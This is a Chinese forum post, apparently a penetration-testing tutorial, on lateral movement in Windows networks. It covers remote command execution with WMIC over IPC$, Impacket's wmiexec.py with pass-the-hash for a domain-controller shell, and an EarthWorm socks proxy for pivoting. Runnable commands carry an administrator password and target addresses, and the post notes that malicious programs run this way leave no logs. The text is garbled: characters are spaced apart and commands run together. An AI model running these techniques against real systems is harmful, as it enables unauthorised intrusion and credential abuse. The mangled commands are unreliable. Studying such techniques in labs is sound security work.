我 预 先 与 目 标 主 机 建 立 了 i p c $ 连 接 ， 所 以 就 不 需 要 在 w m i c 指 定 / u s e r 和 / p a s s w o r d 了 。 然 后 ， 由 于 w m i c 执 行 远 程 命 令 没 有 回 显 ， 所 以 在 建 立 i p c $ 连 接 后 ， 使 用 t y p e 命 令 远 程 读 取 1 9 2 . 1 6 8 . 5 2 . 1 3 8 上 的 执 行 结 果 ： w m i c   / n o d e : 1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / U S E R : a d m i n i s t r a t o r   P A T H   w i n 3 2 _ t e r m i n a l s e r v i c e s e t t i n g   W H E R E   ( _ _ C l a s s ! = " " )   C A L L   S e t A l l o w T S C o n n e c t i o n s   1 / /   w m i c   / n o d e : " [ f u l l   m a c h i n e   n a m e ] "   / U S E R : " [ d o m a i n ] [ u s e r n a m e ] " w m i c   / n o d e : 1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / u s e r : a d m i n i s t r a t o r   / p a s s w o r d : L i u 7 8 9 6 3   p r o c e s s   l i s t   b r i e f w m i c   / n o d e : 1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / u s e r : a d m i n i s t r a t o r   / p a s s w o r d : L i u 7 8 9 6 3   p r o c e s s   c a l l   c r e a t e   " c m d . e x e   / c   i p c o n f i g   >   C : r e s u l t . t x t " w m i c   / n o d e : 1 9 2 . 1 6 8 . 1 8 3 . 1 3 0   / u s e r : a d m i n i s t r a t o r   / p a s s w o r d / /   / n o d e ： 指 定 将 对 其 进 行 操 作 的 服 务 器 t y p e   1 9 2 . 1 6 8 . 5 2 . 1 3 8 c $ r e s u l t . t x t
如 上 图 所 示 ， 命 令 执 行 成 功 了 。 使 用 W M I C 远 程 执 行 命 令 ， 在 远 程 系 统 中 启 动 W M I C 服 务 ( 目 标 服 务 器 需 要 开 放 其 默 认 1 3 5 端 口 ， W M I C 会 以 管 理 员 权 限 在 远 程 系 统 中 执 行 命 令 ) 。 如 果 目 标 服 务 器 开 启 了 防 火 墙 ， W M I C 将 无 法 连 接 。 另 外 由 于 w m i c 命 令 没 有 回 显 ， 需 要 使 用 I P C $ 和 t y p e 命 令 来 读 取 信 息 。 需 要 注 意 的 是 ， 如 果 W M I C 执 行 的 是 恶 意 程 序 ， 也 不 会 留 下 日 志 。 下 面 我 们 介 绍 一 下 几 个 可 以 用 来 执 行 w m i 远 程 命 令 的 工 具 。 W M I E X E C w m i e x e c 是 对 w i n d o w s 自 带 的 w m i c 做 了 一 些 强 化 ， 让 渗 透 变 得 更 容 易 。 比 较 好 用 的 在 这 里 介 绍 几 种 。 w m i e x e c 需 要 提 供 账 号 密 码 进 行 远 程 连 接 ， 但 是 如 果 没 有 破 解 出 账 号 和 明 文 密 码 ， 也 可 以 配 合 哈 希 传 递 或 票 据 注 入 功 能 一 起 使 用 ， 先 进 行 传 递 或 注 入 ， 然 后 再 使 用 W M I E X E C 即 可 。 I m p a c k e t 中 的 中 的 w m i e x e c . p y 该 脚 本 是 i m p a c k e t 工 具 包 中 的 一 个 工 具 ， 主 要 在 从 L i n u x 像 W i n d o w s 进 行 横 向 渗 透 时 使 用 ， 十 分 强 大 ， 可 以 走 s o c k s 代 理 进 入 内 网 。 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / C o r e S e c u r i t y / i m p a c k e t / b l o b / m a s t e r / e x a m p l e s / w m i e x e c . p y 使 用 很 简 单 ， 运 行 如 下 命 令 获 取 目 标 系 统 D C ( 1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 ) 的 S h e l l ： 如 上 图 所 示 ， 成 功 获 取 到 了 目 标 系 统 D C ( 1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 ) 的 S h e l l 。 如 果 对 w m i e x e c . p y 指 定 - h a s h e s 选 项 的 话 ， 则 可 进 行 哈 希 传 递 。 该 脚 本 十 分 强 大 ， 还 可 以 让 攻 击 机 走 s o c k s 代 理 直 接 进 入 内 网 ， 还 是 上 面 那 个 测 试 环 境 ： 由 于 攻 击 机 无 法 直 接 访 问 内 网 的 W i n d o w s   s e r v e r   2 0 0 8 ， 所 以 只 能 通 过 在 W i n d o w s 7 上 面 架 设 一 个 s o c k s 代 理 服 务 器 ， 通 过 这 个 s o c k s 代 理 进 入 内 网 ， 从 而 控 制 W i n d o w s   s e r v e r   2 0 0 8 。 先 使 用 e a r t h w o r m 在 W i n d o w s 7 上 面 架 设 一 个 s o c k s 代 理 服 务 器 ： p y t h o n   w m i e x e c . p y   a d m i n i s t r a t o r : L i u 7 8 9 6 3 @ 1 9 2 . 1 6 8 . 1 8 3 . 1 3 0 / /   p y t h o n   w m i e x e c . p y   用 户 名 : 密 码 @ 目 标 I P e w _ f o r _ W i n . e x e   - s   s s o c k s d   - l   1 0 8 0
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理